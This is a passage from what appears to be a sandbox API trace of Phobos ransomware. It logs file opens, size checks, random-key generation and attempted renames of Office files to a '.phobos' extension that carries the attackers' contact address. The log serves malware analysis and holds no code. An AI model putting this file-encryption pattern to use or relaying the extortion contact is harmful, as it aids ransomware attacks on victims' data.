Office\\root\\Office16\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxc")) returned 0x220 [0154.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.842] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.844] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=636) returned 1 [0154.844] CloseHandle (hObject=0x254) returned 1 [0154.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_col.hxc")) returned 0x220 [0154.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.844] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.845] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=208) returned 1 [0154.845] CloseHandle (hObject=0x254) returned 1 [0154.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_col.hxt")) returned 0x220 [0154.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.846] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.846] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=114) returned 1 [0154.846] CloseHandle (hObject=0x254) returned 1 [0154.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_f_col.hxk")) returned 0x220 [0154.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.847] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.847] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.847] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=113) returned 1 [0154.847] CloseHandle (hObject=0x254) returned 1 [0154.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_k_col.hxk")) returned 0x220 [0154.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.848] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ppintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.848] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1204296) returned 1 [0154.848] CloseHandle (hObject=0x254) returned 1 [0154.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ppintl.dll")) returned 0x220 [0154.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PPINTL.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ppintl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ppintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.849] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\proprpt.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.850] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=183408) returned 1 [0154.850] CloseHandle (hObject=0x254) returned 1 [0154.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\proprpt.vsl")) returned 0x220 [0154.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\proprpt.vsl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\proprpt.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.851] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSSX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\proprpt.vssx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.854] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=23649) returned 1 [0154.854] CloseHandle (hObject=0x250) returned 1 [0154.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSSX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\proprpt.vssx")) returned 0x220 [0154.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSSX.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\proprpt.vssx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSSX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\proprpt.vssx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.854] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTOCOLHANDLERINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\protocolhandlerintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.857] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=12392) returned 1 [0154.857] CloseHandle (hObject=0x254) returned 1 [0154.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTOCOLHANDLERINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\protocolhandlerintl.dll")) returned 0x220 [0154.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTOCOLHANDLERINTL.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\protocolhandlerintl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTOCOLHANDLERINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\protocolhandlerintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.857] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pub6intl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.858] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=5976136) returned 1 [0154.858] CloseHandle (hObject=0x254) returned 1 [0154.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pub6intl.dll")) returned 0x220 [0154.858] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pub6intl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUB6INTL.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pub6intl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0154.858] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUB6INTL.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pub6intl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pub6intl.dll")) returned 0 [0154.858] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubcolor.scm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.860] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=28672) returned 1 [0154.860] CloseHandle (hObject=0x254) returned 1 [0154.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubcolor.scm")) returned 0x220 [0154.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubcolor.scm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubcolor.scm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.860] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBWZINT.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubwzint.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.861] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=130120) returned 1 [0154.861] CloseHandle (hObject=0x254) returned 1 [0154.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBWZINT.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubwzint.dll")) returned 0x220 [0154.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBWZINT.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubwzint.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBWZINT.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubwzint.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.861] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QRYINT32.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\qryint32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.862] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=86080) returned 1 [0154.862] CloseHandle (hObject=0x254) returned 1 [0154.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QRYINT32.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\qryint32.dll")) returned 0x220 [0154.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QRYINT32.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\qryint32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QRYINT32.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\qryint32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.863] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\savasweb.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.865] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=57424) returned 1 [0154.865] CloseHandle (hObject=0x254) returned 1 [0154.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\savasweb.vsl")) returned 0x220 [0154.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SAVASWEB.VSL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\savasweb.vsl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.865] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\savasweb.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.866] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.867] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=134684) returned 1 [0154.867] CloseHandle (hObject=0x254) returned 1 [0154.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang.hxs")) returned 0x220 [0154.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.867] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.868] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=641) returned 1 [0154.868] CloseHandle (hObject=0x254) returned 1 [0154.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_col.hxc")) returned 0x220 [0154.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.868] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.869] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=207) returned 1 [0154.869] CloseHandle (hObject=0x254) returned 1 [0154.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_col.hxt")) returned 0x220 [0154.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.869] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.869] CreateFileW (lpFileName="\\\\?\\C:\\Program 